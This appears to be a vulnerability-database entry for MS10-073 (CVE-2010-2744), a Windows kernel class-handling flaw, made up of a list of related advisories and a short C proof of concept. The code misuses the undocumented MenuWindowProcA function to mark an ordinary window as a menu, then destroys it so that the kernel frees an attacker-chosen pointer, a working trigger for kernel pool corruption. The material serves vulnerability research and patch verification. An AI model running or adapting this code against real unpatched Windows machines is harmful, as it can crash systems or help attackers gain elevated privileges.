MS10-073 Windows Class Handling

🗓️ 02 Jan 2011 00:00:00Reported by Tarjei MandtType

packetstorm🔗 packetstormsecurity.com👁 37 Views

MS10-073 Windows Class Handling vulnerability code

Reporter	Title	Published	Views	Family All 15
Circl	CVE-2010-2744	2 Jan 201100:00	–	circl
CVE	CVE-2010-2744	13 Oct 201018:00	–	cve
Cvelist	CVE-2010-2744	13 Oct 201018:00	–	cvelist
EUVD	EUVD-2010-2748	7 Oct 202500:30	–	euvd
canvas	Immunity Canvas: MS_KBLAYOUT	13 Oct 201019:00	–	canvas
NVD	CVE-2010-2744	13 Oct 201019:00	–	nvd
OpenVAS	Windows Kernel-Mode Drivers Privilege Elevation Vulnerabilities (981957)	13 Oct 201000:00	–	openvas
OpenVAS	Windows Kernel-Mode Drivers Privilege Elevation Vulnerabilities (981957)	13 Oct 201000:00	–	openvas
Prion	Design/Logic Flaw	13 Oct 201019:00	–	prion
Positive Technologies	PT-2010-4259 · Microsoft · Windows Server 2003 +5	13 Oct 201000:00	–	ptsecurity

`#include <windows.h>  
  
/*  
Source:  
http://mista.nu/blog/2010/12/01/windows-class-handling-gone-wrong/  
*/  
  
int main(int argc, char **argv)  
{  
WNDCLASSA Class = {0};  
CREATESTRUCTA Cs = {0};  
FARPROC MenuWindowProcA;  
HMODULE hModule;  
HWND hWindow;  
  
Class.lpfnWndProc = DefWindowProc;  
Class.lpszClassName = "Class";  
Class.cbWndExtra = sizeof(PVOID);  
  
RegisterClassA(&Class);  
  
hModule = LoadLibraryA("USER32.DLL");  
  
MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA");  
  
hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL);  
  
// set the pointer value of the (soon to be) popup menu structure  
SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);  
  
// set WND->fnid = FNID_MENU  
MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);  
  
// trigger -> ExPoolFree(0x80808080)  
DestroyWindow(hWindow);  
  
return 0;  
}  
  
`

02 Jan 2011 00:00Current

EPSS0.00757